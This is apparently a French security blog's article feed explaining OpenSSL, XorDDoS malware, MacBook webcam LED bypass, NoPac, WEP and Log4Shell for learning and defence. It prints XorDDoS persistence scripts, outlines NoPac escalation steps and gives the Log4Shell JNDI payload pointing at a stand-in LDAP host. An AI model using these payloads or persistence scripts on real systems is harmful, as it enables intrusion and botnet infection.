Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierI Learned

OpenSSL, itinéraire d’une catastrophe ratée

Le 25 octobre 2022, l’équipe du projet OpenSSL dévoile la publication à venir d’une nouvelle version de leur librairie de cryptographie, la version 3.0.7 qui colmaterait une faille de sévérité classée Critical. Un niveau de criticité atteint très rarement et qui, à juste titre (ou pas 😉), a immédiatement inquiété la communauté de la cybersécurité. Dans cet article, nous détaillerons quelles sont les machines vulnérables, le fonctionnement de cette faille de sécurité, et verront comment s’en protéger.

La première version de cet article est paru une heure après l’annonce de la vulnérabilité, il sera mis à jour au fur et à mesure que de nouvelles informations sont publiées.

🎯 Machines vulnérables

Il est à noter que beaucoup de serveurs ne sont pas vulnérables à cette nouvelle vulnérabilité, car elle concerne toutes les versions supérieures à la version 3, version qui est assez récente et donc peu déployée à ce jour. Cependant, la majorité des distributions majeures telles qu'Ubuntu, CentOS et Fedora sont vulnérables sur leurs dernières versions.

List os vulnérable

Au-delà du paquet openssl inclut dans les distributions, de nombreux logiciels embarquent aussi OpenSSL, il ne faut ainsi pas négliger cette vulnérabilité même si vous n’utilisez pas une distribution vulnérable. Si vous souhaitez en savoir plus, il y a ce dépôt git qui contient une liste (non exhaustive) des logiciels impactés.

🦠 La faille

La vulnérabilité qui a été dévoilée permet avec un certificat x509 d’avoir un DoS, ou dans certains cas (qui semble improbable) une RCE. DoS, pour Denial of Service, c’est une vulnérabilité qui permet de faire planter le service. RCE, pour Remote Code Execution, c’est une vulnérabilité qui comme son nom l’indique permet d’exécuter du code à distance.

Cette faille est rendue possible grâce à un bug de mémoire, un buffer overflow. Le buffer est l’espace de la mémoire alloué par le processus pour stocker des données, cet espace est limité en taille à un certain nombre de bits. Dans certains cas le programme peu écrire en mémoire plus de donnée que ce qui était prévue à l’origine. Il y a alors un dépassement (overflow). Ça peut permettre à un attaquant d’écrire en mémoire à des endroits où il n’est pas censé pouvoir le faire, et donc, par exemple, de forcer le système à exécuter du code, en mettant à l’emplacement où on devrait trouver du code bénin un exploit.

Schéma buffer overflow

C’est dans la fonction qui décode le punycode, format utilisé pour avoir de l’Unicode dans les noms de domaines, que le buffer overflow a l’air d’avoir fait son apparition. Pour exploiter la vulnérabilité, un attaquant doit construire un certificat x509 malicieux. Du peu de détail que fournit OpenSSL, le buffer overflow a l’air plus précisément dans le décodage d’un potentiel mail, qui si on met un nombre arbitraire de . cause le buffer overflow. Le certificat doit être validé par une autorité de certification reconnue par la machine. Cette dernière condition permet de réduire grandement l’impact qu’aura cette vulnérabilité, cette faille n’est pas le “nouveau Heartbleed” comme certain·e·s l’attendait.

Update : Deux proof-of-concept d'exploitation de cette faille ont été publiés, un par colmmacc et l'autre par christophetd !

🧑‍🚒 Mitiger

Côté éditeur, OpenSSL aurait pu prendre certaines mesures nécessaires afin de permettre de détecter cette vulnérabilité en amont, notamment en mettant en place du fuzzing de façon plus avancé. OpenSSL le fait déjà de leur côté, et Google le fait aussi pour nombre de projets open source dont OpenSSL, mais peut-être que ces processus n’ont pas été implémentés de manière assez approfondie.

Côté utilisateur, pour pallier ce problème de sécurité, pas de mystère, il faut mettre à jour. Mettre à jour non seulement le paquet openssl et la librairie associée (libssl), mais aussi les paquets qui en dépendent de manière “statique”, comme Node.js qui est vulnérable pour les versions supérieures à la version 18. Docker n’est aussi pas à négliger, l’entreprise estime que près de 1000 images de conteneurs sur sa plateforme Docker Hub sont vulnérables. Docker met à disposition un outil appelé docker-index qui permet avec la commande docker-index CVE --image IMAGE DSA-2022–0001 de tester si certaines de vos images sont vulnérables. Comme toujours, il est important de mettre en place des mises à jour de sécurité automatiques pour éviter ce genre de désagréments, avec, par exemple, UnattendedUpgrades sous Debian et dérivés, fonctionnalité aussi possible sous Fedora, CentOS et RHEL. Une fonctionnalité similaire est aussi disponible pour Docker grâce au projet Watchtower !

📑 Conclusion

Malgré la nécessité évidente de patcher cette vulnérabilité, il n’y a pas lieu de s’affoler. Des experts du domaine tels que Pwn All The Things ou encore *Marcus Hutchins* (malwaretechblog) ont tempéré en disant que cette faille n’était pas si terrible qu’attendue.

📎 Sources

Un malware, un cochon et un APT chinois

Par un heureux hasard, un fichier nommé libudev.so, apparemment malveillant, est apparu dans notre dossier Téléchargements, nous avons donc voulu en savoir plus. Entre reverse engineering, analyse réseau et OSINT, c’est cette quête d’information qui nous mènera à découvrir un mystérieux pirate, vouant une adoration à ses cochons, que nous allons relater dans cet article.


Le sample analysé tout au long de cet article est disponible ici.

Disclaimer : I Learned ne saurait en aucun cas être responsable de tout dommage engendré par la manipulation du fichier présent ci-dessus, nous rappellons en outre que la distribution de malware à des fins malveillantes est illégale. En outre, l'attribution d'un malware à un acteur malveillant est un processus périlleux, l'analyse qui suit est donc à lire en gardant en tête qu'il ne s'agit que de suppositions.


L’image ci-dessous est une cartographie des informations récoltées dans cette enquête, elle a été faite sur Maltego, nous l'utiliserons tout au long de cet article !

Graphique maltego des informations trouvées

👀 Premières analyses

Notre premier réflexe à la vue de ce supposé malware est de le scanner dans un logiciel antivirus (VirusTotal). Le résultat est sans appel, de nombreux éditeurs d'antivirus détectent ce malware et le nomment, "XorDDoS".

Le malware est détecté par une grande majorité de logiciels antivirus.

Après plusieurs recherches on peut observer que ce malware est en fait une version d'un logiciel malveillant très connu découvert en 2014 par le groupe de recherche MalwareMustDie. Ce malware a même fait l'objet d'un article de Microsoft, néanmoins, le virus analysé par la société éditrice de Windows n'est pas la même version que celle que nous analysons dans cet article.

On peut aussi remarquer que le binaire a été compilé de manière statique, c'est-à-dire en incluant toutes les librairies dont il dépend, par GCC 4.1.2 sur une machine Red Hat. La structure des fichiers sources du binaire est :

- autorun.c
- crc32.c
- encrypt.c
- execpacket.c
- buildnet.c
- hide.c
- http.c
- kill.c
- main.c
- proc.c
- socket.c
- tcp.c
- thread.c
- findip.c
- dns.c

Avec cette seule information, on peut déjà observer certains fichiers intéressants, comme encrypt.c ou hide.c .

🦠 L'infection

Le principal vecteur d'infection utilisé par ce malware est le bruteforce de serveur SSH, d'où l'importance d'utiliser de privilégié des clés cryptographiques, avec des algorithmes modernes (comme EdDSA), au lieu du traditionnel mot de passe.

Lors de la première infection, le malware va faire en sorte d'assurer sa persistance, pour ce faire, il va en premier lieu créer le fichier /etc/cron.hourly/gcc.sh, celui-ci contient un script qui va simplement démarrer toutes les interfaces réseau, se copier dans un autre endroit et se lancer. Le fait que ce script soit présent dans le dossier /etc/cron.hourly à son importance, les scripts présents dans ce dossier sont lancé automatiquement par le système toutes les heures.

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`;
  do ifconfig $i up
done # Démarre toutes les interfaces réseau
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

Le nommage du script en gcc.sh est sûrement fait pour se faire passer pour le compilateur bien connu gcc et donc ne pas paraitre suspect.

Une fois ce script cron créé, le malware va aussi créer un fichier dans /etc/init.d, ce dossier contient des fichiers de services systemd, runit ou openrc sous forme de script shell (🤮). Le malware va donc créer dans ce dossier un fichier contenant le code suivant :

#!/bin/sh
# chkconfig: 12345 90 90
# description: tlvgyjdotz
case $1 in
start)
    /usr/bin/tlvgyjdotz
    ;;
stop)
    ;;
*)
    /usr/bin/tlvgyjdotz
    ;;
esac

On voit que ce simple script shell lance un binaire dans /usr/bin, c'est en fait le même binaire que celui de notre malware initial (libudev.so) mais qui est simplement copié avec un nom aléatoire, sûrement pour échapper à certains systèmes de protection.

Ces deux moyens d'assurer la persistance du malware sont gérés par les fonctions InstallSys et add_service.

🗨️ Communication avec le C2

Une fois que le malware est installé avec succès, il va commencer la communication avec le C2 – C2, pour Command&Control, c'est le nom du/des serveur-s qui donnent des ordres aux machines infectées. Toute la communication avec l'extérieur se fait via une fonction nommée exec_packet. Cette fonction permet notamment au binaire de se mettre à jour, mais aussi de télécharger d'autres binaires et de les lancer. Via cette fonction, le malware est aussi capable d'envoyer un hash md5 de son processus et de recevoir l'ordre de tuer certains processus. Lors de la première communication avec le C2, on a pu déterminer que plusieurs informations concernant la machine sont envoyées, dont notamment des statistiques sur la RAM, le CPU ou encore la vitesse de la connexion.

Enfin, cette fonction permet aussi de créer un grand nombre de threads dans lesquels est exécutée une fonction qui envoie des paquets TCP SYN, DNS ou TCP ACK, au vu du comportement de cette fonction, on peut supputer que ce serait elle qui serait en charge de lancer un DDoS vers une cible, les paquets SYN, ACK et DNS étant notamment très utilisés pour mener ce genre d'actions malveillantes.

Un schéma résumant le paragraphe précédent

Aussi, on peut remarquer qu'une grande partie des communications sont chiffrées au moyen de l'algorithme XOR, les clés (BB2FA36AAA9541F0) étant présentes en clair dans le code (🤦) il est trivial de déchiffrer ces données, celles-ci étant principalement des noms de domaine qui révèleront leur utilité dans la prochaine partie.

C'est l'utilisation intensive de XOR qui donne d'ailleurs à ce malware son nom, XorDDoS.

🌐 Exploration de l'infrastructure du botnet

En explorant les trames réseaux et à la lecture du code décompilé, nous avons rapidement pu identifier 4 domaines liés au malware. Deux d'entre eux contiennent la liste des potentielles C2. Un autre domaine semble lié une liste de victimes, le 4ᵉ domaine est lui inutilisé.

Nous avons pu trouver trois dénominateurs communs pour les serveurs qui semblent être les C2 - Ce sont des machines sous Windows Server 2012 - Les IPs de ces serveurs appartiennent à l'hébergeur OVH, sous 2 organisations différentes. - Ces deux organisations sont liées par un mail commun dans leur whois, admin@66[.]to.

Un graph montrant toutes les IPs reliées au mail admin@66.to

Sur le nom de domaine 66[.]to, directement lié à l'adresse mail, on peut trouver, tout d'abord, ce site avec cette magnifique image de cochon, elle aura son importance plus tard. Le site nous renvois par ailleurs vers le sous-domaine secure[.]66[.]to.

Une capture d'écran du site de 66.to, présentant un texte décrivant un site d'hébergement et une photo de cochons

En se rendant sur secure[.]66[.]to on se retrouve sur le site d'un hébergeur un peu suspect.

Un site d'hébergeur

(Les pages ont été traduites en anglais pour les besoins de l'article, elles étaient initialement en chinois.)

L'hébergeur en question est, selon les informations que nous avons pu trouver¹, lié à un pirate répondant au pseudo de Hack520 (nous y reviendrons).

En analysant les requêtes DNS faites par le binaire, nous avons pu remarquer le domaine a1.evil*, ces requêtes renvoyant une liste d'IPs ne semblant n'avoir aucun lien entre elles. De plus, les IPs liées à ce nom de domaine changent de temps en temps, il semblerait que ces IPs sont seraient celles des machines compromises par le virus.

🐷 Découverte de notre amateur de cochon

Comme cité plus haut, nous avons réussi à lier le botnet à un individu répondant au pseudo hack520.

C'est l'image de cochon que nous avons pu voir tout à l'heure qui nous a permise de remonter jusqu'à lui. La recherche d'image inversée de Baidu, nous a permise de remonter à un article de TrendMicro à propos de cet individu. La recherche inversée nous a aussi permise de retrouver certains de ses réseaux sociaux. Nous avons d'abord pu trouver son blog (zhu[.]vn), qui contenait des liens vers son compte twitter (hack520_est), nous avons aussi pu retrouver le Github (Kwan9) lui aussi grâce à l'image de cochon qui se trouve être la photo de profil. Par ailleurs, les deux cochons que vous pouvez retrouver ci-dessous répondent aux doux noms de LouLou (噜噜) et Mouchoutoutou (母豬嘟嘟).

Loulou Moutchoutoutou

Son compte github montre un certain attrait pour les mineurs de cryptomonnaie. À en croire ses commits, il possèderait l'adresse mail kwanleo@126.com. On peut aussi via github savoir que son ordinateur est dans la timezone Asia/Shanghai, elle permet, avec diverses autres informations que nous avons, de faire penser qu'il se situerait à Hong Kong. Un autre élément qui tend à prouver sa présence sur Hong Kong est cette photo sur son twitter qui nous montre le téléphérique de Ngong Ping. Un post sur son github nous permet aussi de voir qu'il utilise windows.

Nous avons trouvé certains de ses autres réseaux sociaux, mais il ne nous semblait rien apporter, c'est pourquoi nous ne les avons pas mis ici.

Via l'article de trendmicro, on apprend par ailleurs qu'il est potentiellement membre de Winnti Group, un collectif proche d'APT chinois (41 et 17).

📑 Conlusion

Pour résumer, d’après nos analyses, ce malware relativement peu sophistiqué serait utilisé pour former un réseau de botnet. Un botnet est un réseau de machines répondant un ordre d’un serveur central (C2), utilisées pour faire des attaques DDoS — Distributed Denial of Service. Nous avons par ailleurs réussi à identifier certaines victimes présumées présentes dans ce réseau de botnet. Il s'avère que ce logiciel malveillant est déjà relativement connu et nommé XorDDos. Celui-ci est d'ailleurs détecté par de nombreux antivirus, incluant le logiciel libre ClamAV. Si vous souhaitez vous protéger de menaces similaires, il peut être intéressant de vous renseigner sur l'utilisation de logiciels antivirus sur vos serveurs !

*Les adresses et pseudonymes ont été modifiés

Comment pirater la webcam d'un macbook sans allumer la LED ?

Aujourd'hui on va parler hacking, espionnage, électronique et Macbook. Ça donne envie n'est-ce pas 👀 ?

  • Est-ce que l'exploit de LUX dans la série STALK saison 1 est possible et ou a été réalisable ?
  • Est-ce qu'Orelsan a bien raison de se méfier de sa webcam ?
  • Est-ce que Mark Zuckerberg fait bien de mettre du ruban adhésif sur son Macbook ?

Je ne vais pas vous expliquez par qui et quand et pourquoi est ce que cette faille a été découverte. Je vous laisse regarder cette vidéo de Micode qui explique l'histoire et vulagarise la théorie de l'exploit.

Sur les MacBook de 2008, on retrouve une configuration bien particulière pour la gestion de la caméra et de sa LED (qui "témoigne" de son activité).

Macbook camera schematic

On retrouve 4 éléments bien distinctifs : 1. Un "Support de stockage" EEPROM 2. Le capteur de la caméra (MT9V112) 3. Une LED 4. Un micro contrôleur (EZ-USB)

L'EEPROM

EEPROM signifie Electrically-Erasable Programmable Read-Only Memory (Mémoire morte effaçable électriquement et programmable)

Mémoire morte veut dire que ce qui est stocké dans cette mémoire, ne sera pas supprimé si celle ci n'est plus alimentée, contrairement à la mémoire vive (RAM) qui s'efface une fois qu'elle n'est plus alimenté

Pour être honnête je ne connais pas trop son utilité ici, probablement elle qui stock le code (firmware) du capteur (j'en doute car, ce n'est pas donnée d'effacer la mémoire d'une EEPROM pour en changer le contenu, mais le fait qu'il soit connecté avec le micro contrôleur USB, le doute m'habite, vous verrez plus tard pourquoi).

Le capteur de la caméra

Ici, c'est le capteur, donc ce qui capte les images, etc. Il a 5 E/S (Entrée/Sortie) :

  • SCL (1) et SDA (2) sont les E/S du protocole I2C, c'est un protocole qui permet l'échange d'informations/de données entre micro contrôleur, etc.
  • DOUT[7:0] (3) Sont 8 PIN qui sont connectés avec le micro contrôleur USB, aucune idée de leur utilité, mais ils permettent aussi de configurer/échanger avec le micro contrôleur.
  • RESET (4) Surement pour réinitialiser les paramètres du capteur.
  • STANDBY (5) L'une des parties de la faille. Il permet de dire au capteur s'il doit se mettre en mode veille ou non.

Parlons plus en détail du fameux PIN "STANDBY" : Lorsque celui-ci reçoit du courant, le capteur arrête la capture et l'envoie d'images, il se met en Standby (en veille). Mais lorsque celui ci ne reçoit plus de courant, il commence la capture et envoie les images.

La LED

Ce composant permet de diffuser une lumière d'une certaine couleur lorsque que du courant passe. Cette LED à sa propre source de courant, elle est reliée au micro contrôleur USB (qu'on verra plus tard) et au capteur.

Le micro contrôleur

Lui, c'est le maitre de tous les composants qu'on vient de voir, c'est lui qui "contrôle" le capteur et la LED. Il a aussi 5 E/S:

  • SCL (1) et SDA (2), ce sont la même chose que pour le capteur, sauf que c'est le micro contrôleur qui donne le "tempo" pour l'envoie et la réception de données, SCL c'est pour le cycle de l'horloge, c'est le micro contrôleur USB qui donne ce cycle à l'EEPROM et au capteur.
  • FD[7:0] (3), comporte 8 PIN et sont connecté aux 8 PINs de DOUT du capteur.
  • PA0 (4), C'est lui qui "active" le RESET du capteur en envoyant ou non du courant.
  • PD3 (5), Le PIN qui permet en plus d'activer ou de désactiver le mode veille (STANDBY) du capteur, permet aussi d'allumer ou non la LED.

Vu que la LED a sa propre source d'énergie et est "constamment alimentée", pour l'éteindre, il faut soit :

  1. Couper la source d'énergie
  2. Envoyer du courant à la cathode (au "MOINS") de la LED. L'anode étant le "PLUS" qui est connecté à la fameuse source d'énergie.

La solution 2 est utilisé ici.

Si on envoie du courant des 2 cotés de la LED, les électrons ne pourront plus circuler donc la LED ne sera plus alimenté. Pour faire court, un circuit électrique doit toujours être "bouclé", les électrons devront toujours, (dans le sens conventionnel du courant), aller du positive (PLUS '+') vers le négative (MOINS '-'). Si on à du positive vers du positive ou négative vers négative, on "casse" cette boucle, donc le courant ne circulera plus et n'alimentera plus les composants.

La cathode de la LED est relié aux broches "STANDBY" du capteur et "PD3" du contrôleur USB. Donc, si le port PD3 envoie du courant, ça aura pour effet d'ETEINDRE la LED, et d'activer le mode veille du capteur (donc ne plus capturer et partager les images). Tandis que si le port PD3 n'envoie pas de courant, alors, le circuit de la LED se "boucle", alors la LED s'ALLUME et le capteur n'est plus en veille.

Pour ceux qui ont un peu fait d'Arduino, le port PD3 et comme configuré en OUTPUT, et mit en LOW pour allumer la LED et sortir du mode veille; et mit en HIGH pour éteindre la LED et activer le mode veille

Du coup, parfait me diriez-vous, LED allumé si le capteur en activité et LED éteinte si le capteur est en veille.

SAUF QUE ! Le mode veille est géré "logiciellement", c'est le firmware du capteur qui prend en compte le courant qui arrive ou non sur ce port STANDBY, et c'est le code du firmware qui permet de rentrer en mode veille ou non (capturer ou non les images)

Pour ceux qui ont fait de l'Arduino, c'est comme si le firmware faisait un DigitalRead(STANDBY), si c'est HIGH alors on se met en veille, si c'est LOW on commence la capture/envoie des images.

Le firmware par défaut d'Apple respecte le mode veille. Il faut donc réussir à modifier ce code, mais comment faire ?!

Et bien, c'est "plutôt simple", il faut les connaissances évidement, mais l'envoie du firmware malveillant est assez simple finalement. Je m'explique. Le capteur et le micro contrôleur USB n'ont pas de stockage permanent pour leurs firmwares (c'est pour ça que je ne sais pas trop à quoi sert l'EEPROM du schéma, surement des paramètres plus ou moins constante pour le calibrage la colorimétrie du capteur ?) Du coup, à chaque fois que le driver de la caméra est chargé, le MacBook télécharge le firmware du contrôleur USB qui permet de configurer le capteur. Le capteur n'a pas beaucoup de possibilité concernant sa configuration, mais il en a une, LA fonctionnalité en question qui rend possible cet exploit, le fait de ne pas prendre en compte le port STANDBY, autrement dit, pas de mode veille, qu'il y a du courant qui arrive ou non sur ce port, la caméra capturera et enverra les images en continu. Mais il ne faut pas oublier de quand même envoyer du courant sur ce port (pour éteindre la LED ;) ).

Il faut donc trouver l'emplacement de ce firmware qui sera téléchargé sur le contrôleur USB pour le remplacer avec notre firmware fait maison et la cerise sur le gâteau, le pompon sur la Garonne, il n'était pas nécessaire d'avoir des droits administrateur pour remplacer ce firmware.

Vous l'aurez compris le Graal de cet exploit est le firmware "facilement" remplaçable, car il n'est pas codé en dur et est téléchargé à chaque chargement du driver de la caméra et le fait que n'importe quel utilisateur peut remplacer le firmware.

Je n'arrive pas à savoir ce qu'est le plus grave dans cette histoire :

  • Le fait qu'un utilisateur autre que l'administrateur puisse remplacer le firmware ?
  • Le fait que la configuration du capteur permet d'ignorer la mise en veille ?
  • Que la LED ne soit pas branchée autre part, part exemple sur la broche qui alimente le capteur ou sur la broche qui envoie les images capturées ?

Il y a sûrement de bonnes explications à ces questions ou de bonnes raisons à ce pourquoi cela a été pensé comme cela à cette époque.

Il existe toujours des webcams bas de gamme (même qui proposent une bonne qualité d'image) qui ont une LED, mais qui peut être TRÈS, voire TROP facilement désactivable, comment en modifiant un registre Windows ou fichier sous Linux.

Mais maintenant les webcams ou les ordinateurs portables de nos jours sont mieux pensé et mieux sécurisé sur ça.

Mais comme l'explique Micode dans sa vidéo, à présent certains logiciels malveillant peuvent accéder à la webcam en même temps que vous, bon d'accord les méchants bonhommes de la NSA ou le vilain hackeur qui veut vous espionner pendant que vous êtes en live sur Twitch, auront cependant les captures de ce moment-là, et pas les images de ce qui se passe avant ou après le lancement de votre facecam, mais tout de même...

J'espère que cet article, vous a plus, article un peu technique, en parlant d'électronique/électricité ça change un peu. Mais j'espère que j'ai réussi à vous faire comprendre le fonctionnement de la Webcam et de sa LED sur les anciens Macbook, ainsi que leurs vulnérabilités.

Comprendre la vulnérabilité NoPac

Les manières d'exploiter ActiveDirectory sont très diverses et il en va de même pour ses vulnérabilités. En cause, le nombre de services nécessaires au fonctionnement de l'environnement. C'est Kerberos qui récemment a été victime de la découverte d'une faille, menant à une vulnérabilité assez importante que nous allons découvrir dans cet article.

Je recommande au préalable la lecture de l'article sur Active Directory sur ilearned si vous n'êtes pas à l'aise avec le concept. A noter également que la majorité des informations que j'exposerais sont tirées de l'article de l'auteur du protocole d'exploitation de la vulnérabilité.

Retour sur le TGT

Kerberos repose sur un système de requête pour obtenir un ticket d'accès qui permettra d'accéder aux différents services de l'environnement. La dernière étape du processus est l'AS_REP, qui contient la réponse du KDC. Dans le cas d'une réponse positive, c'est à dire lorsque l'utilisateur s'est authentifié avec succès, l'AS_REP contient le TGT. Ce dernier contient un certain nombre d'informations, le nom de l'utilisateur et autres données du genre, et surtout le PAC pour "Privilege Attribute Certificate" qui décrit les privilèges de l'utilisateur notamment et ses groupes d'appartenance. De sorte que lorsque l'utilisateur demandera un TGS, c'est le PAC qui sera lu pour savoir s'il peut lui être accordé. Le PACest signé par krbtgt (l'utilisateur service responsable de Kerberos, il n'a pas besoin d'être managé) avec son secret, ainsi, il est impossible de modifier ces informations sans avoir ce dernier. Cela dit, quand on le possède, on peut faire ce que nous voulons. Par exemple créer de toute pièce un TGT dans lequel il est dit que nous sommes l'utilisateur "ilearned" (même s'il n'existe pas) et se donner tous les droits d'administration en s'ajoutant, sans que ce soit la réalité, dans les groupes d'administration, cette méthode, nommée Golden Ticket, est surtout utilisée pour la persistance, c'est à dire l'étape d'une intrusion où l'attaquant cherche à maintenir son accès à sa cible, en particulier avec des privilèges dans ce cas (si vous souhaitez plus d'information, il y a cet article de hackndo). Le PAC est donc un morceau très important du TGT.

CVE-2021-42287/CVE-2021-42278

Le PAC a déjà été victime d'une vulnérabilité il y a quelque temps : MS14-068 (CVE-2014-6324) qui consistait en la possibilité pour n'importe quelle utilisateur de forger un PAC arbitraire, ce qui menait à une élévation de privilège. Oui, mais voilà, on modifie un PAC pour obtenir un accès supplémentaire. Deux questions se posent alors est-il possible d'obtenir un TGT sans PAC? Et dans ce cas que ce passe-t-il concernant nos droits ? Premier fait amusant, la réponse à la première question est positive d'après la description de la faille CVE-2021-42287. Dans cette situation, lorsque l'utilisateur demandera un accès, c'est à dire un TGS, il obtiendra une surprise dans son TGS : un PAC sera ajouté. Mais, ce dernier ne contiendra pas nécessairement l'identité de celui qui l'a demandé. Pour forcer ce changement d'identité il faut spécifier à un utilisateur l'attribut, (c'est à dire la propriété LDAP) altSecurityIdentities avec l'identité de notre utilisateur. C'est peut être un peu brouillon, mais voici un schéma pour illustrer le processus :

Ce qu'il se passe quand il n'y a pas de PAC dans le TGT.

Ainsi, nous agissons en tant qu'un autre. On pourrait alors se dire que nous pouvons tirer partie de cette vulnérabilité directement avec cette petite méthode, mais en réalité pas vraiment. En effet, il est nécessaire comme nous l'avons vu, d'ajouter/modifier un attribut d'un utilisateur, ce qui suppose que nous possédons déjà des droits d'écriture sur ce dernier, et il existe déjà des méthodes très efficace dans cette situation (sans compter que j'ai aussi mis sous silence la condition d'attaquer un domaine externe). Donc ce n'est pas vraiment intéressant. Cependant, on peut faire mieux.

Pour se fixer les idées on se place dans un domaine ilearned.local, et on nommera DC son contrôleur de domaine. Le processus d'exploitation démarre avec une idée un peu bête. Pour exploiter le domaine local, on peut créer un compte machine (ça peut paraître une chose farfelu, mais par défaut tous les utilisateurs ont le droit de le faire dans un Active Directory) portant le même nom que le contrôleur de domaine (sans le $ qui apparaît à la fin des noms SAM), c'est le sujet de la CVE-2021-42278, car cela devrait théoriquement être impossible. Et ainsi, lorsque nous demanderons un ticket sans PAC, cela supprimera le champ "machine account" du demandeur. Par conséquent lorsque nous demanderons un TGS pour le service DC, le champs étant vide et le PAC de même, un processus similaire à la précédente situation entrera en jeu et le TGS contiendra un PAC avec… le compte complet du contrôleur de domaine: DC$. La raison est simple, le TGT ne contient pas de nom de machine correct, et donc le KDC cherchera le nom le plus proche, d'où le résultat. Avec ce ticket, portant le nom du contrôleur, on peut effectuer une réplication des hashs du domaine (opération de backup grossièrement) et obtenir, en particulier celui de l'administrateur.

La plupart des méthodes d'exploitation de cette vulnérabilité se base sur PowerShell, même si un certain nombre d'outils ont été publiés pour faciliter le travail comme noPac un outil de @cube0x0 auquel fait référence le titre de l'article. Il va s'en dire que les acteurs malveillant ont d'ores et déjà commencé à l'utiliser !

Conclusion

Cette vulnérabilité permet donc une escalade de privilège assez rapide à effectuer dans un environnement Active Directory, et mène à sa compromission la plus totale. Pour s'en prémunir, il n'y a pas de secret, faire la mise à jour proposée par Microsoft, ne pas permettre à des utilisateurs d'ajouter des comptes machines au domaine (ce qui d'ailleurs endigue un grand nombre d'attaques), et mettre en place une détection des différentes traces que cause l'attaque !

Le fonctionnement de WEP

Pour se connecter à Internet on utilise énormément des réseaux wifi, mais sont-ils pour autant sécurisés correctement ? Dans cet article, je vais parler de WEP.

Fonctionnement de WEP

Les prémices du wifi commencent il y a bien longtemps, dans les années nonante. La norme IEE 802.11 couvre la norme WIFI, originellement la fréquence est 2.4 GHz et la vitesse entre 1Mb/s et 2Mb/s. À l'origine il y avait 2 manières de faire, au tout début de la norme, c'était ouvert, pas de chiffrement n'importe qui pouvait se connecter à un point d'accès et lire ce qui y passait. Assez rapidement la norme WEP est arrivé, elle propose un ajout de sécurité. WEP utilise une clé de chiffrement de 40 ou 104 bits. Pour éviter que chaque paquet utilise la même clé un vecteur d'initialisation de 24 bits est utilisé, on arrive donc à 64 ou 128 bits pour la taille de la clé, il change pour chaque trame réseau. Les paquets sont chiffrés avec RC4, le problème est que pour avoir un minimum de sécurité, il faut une clé d'une taille plus importante, on répète alors la clé d'origine 32 fois (pour une clé de 64 bits à la base) ou 16 fois (pour une clé de 128 bits). Sur base de la clé privée on va générer une "seed" pour un générateur de nombre pseudo aléatoire (PRGA), une seed c'est ce qui est utilisé comme base pour les PRGA (si on connait la seed on peut ainsi retrouver plus facilement un nombre généré). Pour chiffrer chaque message en RC4 on aura besoins d'une clé de la même taille que le message + la somme d'intégrité qui utilise du CRC32 (qui prends 4 octets). On appelle cette suite aléatoire le keystream. Une fois le keystream obtenu on fait un XOR avec les données et la clé. Mais comment les 2 machines font pour connaitre le vecteur d'initialisation me diriez-vous ? Il est tout simplement envoyé en clair, ce qui niveau sécurité est loin d'être optimal. En WEP un message envoyé ressemble à ça :

Schéma frame webp

Nous avons vu comment un échange se passe, mais comment authentifier le routeur ? Un pirate pourrait sans problème faire une attaque de l'homme du milieu pour récupérer la clé. Il y a un premier handshake, le client va dire au routeur qu'il veut se connecter, le routeur va lui répondre avec un texte que l'utilisateur devra lui répondre chiffré. Le routeur va vérifier qu'il est capable de déchiffrer les données.

Faiblesse du WEP

Un attaquant pour essayer de casser du WEP peut analyser les trames réseaux. Le souci est que presque tout est chiffré sur base d'une clé inconnue. Résumons donc les informations visible en clair :

  • Le vecteur d'initialisation
  • La taille de clé

Le vecteur d'initialisation ne fait que 24 bits, la probabilité de réutilisation du même au bout d'un certain nombre de paquets est donc fort probable or comme nous l'avons vu RC4 utilise XOR, et si la même clé est utilisée plusieurs fois, il peut être plus simple de retrouver la clé. On peut donc, sur base du vecteur d'initialisation qui est visible, repérer des valeurs similaire et récupérer la clé.

WEP comme on l'a vu est très peu sécurisé, de nos jours des technologies comme WPA devrait être utilisé, nous en reparlerons d'ailleurs dans un prochain article ;)

Log4j, une vulnérabilité d'une ampleur inédite

Le 9 décembre 2021, la publication d'une vulnérabilité 0 day baptisée Log4Shell (CVE-2021-44228) a ébranlé le monde de la sécurité informatique, nous tacherons de comprendre son fonctionnement et comment s'en prémunir dans cet article.

Log4j2 est une bibliothèque Java permettant de générer... des logs, c'est comme le Port-Salut, c'est écrit dessus 😉. Cette bibliothèque est extrêmement utilisé par de nombreuses entreprises, comme, pour ne citer qu'elles, Apple, Steam, Twitter, Amazon, Tesla ou encore Microsoft. Le problème est qu'une vulnérabilité a été découverte sur ce logiciel. Cette vulnérabilité était passée jusqu'alors inaperçue, le 9 décembre un utilisateur de Github, wcc526, interroge l'auteur d'une pull request corrigeant cette faille à propos de celle ci. S'ensuit la publication d'une CVE et d'un Proof Of Concept.

Message de wcc526 "Is it a security vulnerability"

💥 Exploitation

L'exploitation de cette vulnérabilité est triviale, une simple suite de caractères comme ${jndi:ldap://example.com/a} permet d'obtenir une RCE (Remote Code Execution) sur le serveur distant.

JNDI est l'acronyme de "Java Naming and Directory Interface", c'est une fonction de Java qui permet d'interroger des directories afin d'obtenir en retour un objet java. Un directory, c'est une sorte de base de donnée principalement utilisée en entreprise qui stocke des informations comme par exemple les utilisateurs, leurs droits, etc. On peut citer ActiveDirectory ou encore LDAP comme exemple de directory bien connu. Java, à travers JNDI, supporte le directory bien connu LDAP. La syntaxe jndi:ldap://example.com/a interroge le serveur LDAP sur le serveur example.com et va télécharger l'objet a.

La syntaxe ${}indique à Log4j qu'il faut évaluer ce qui est indiqué entre accolades. Par exemple, ${java:version} renverra la version de java. Ici, ${jndi:ldap://example.com/a} indique à Log4j d'évaluer (exécuter) l'objet présent à l'URI ldap://example.com/a.

Au vu de ces éléments, il est trivial d'obtenir une RCE sur le serveur distant. Il suffit de monter un serveur LDAP malicieux contenant un objet Java vérolé et de faire en sorte que ${jndi:ldap://SERVEUR/OBJET} soit loggé.

Cette vulnérabilité est très inquiétante au vu de la facilité avec laquelle elle peut être exploitée. À la découverte de cette dernière, de nombreux bots ont scanné l'ensemble d'Internet à la recherche de serveur vulnérables. Le serveur qui héberge le site web que vous visitez en ce moment a été visité par certains d'entre eux.

De nombreux bots essayent d'envoyer des payload malveillants

🧑‍🚒 Limiter les dégâts

Il existe plusieurs méthodes afin de mitiger cette faille de sécurité.
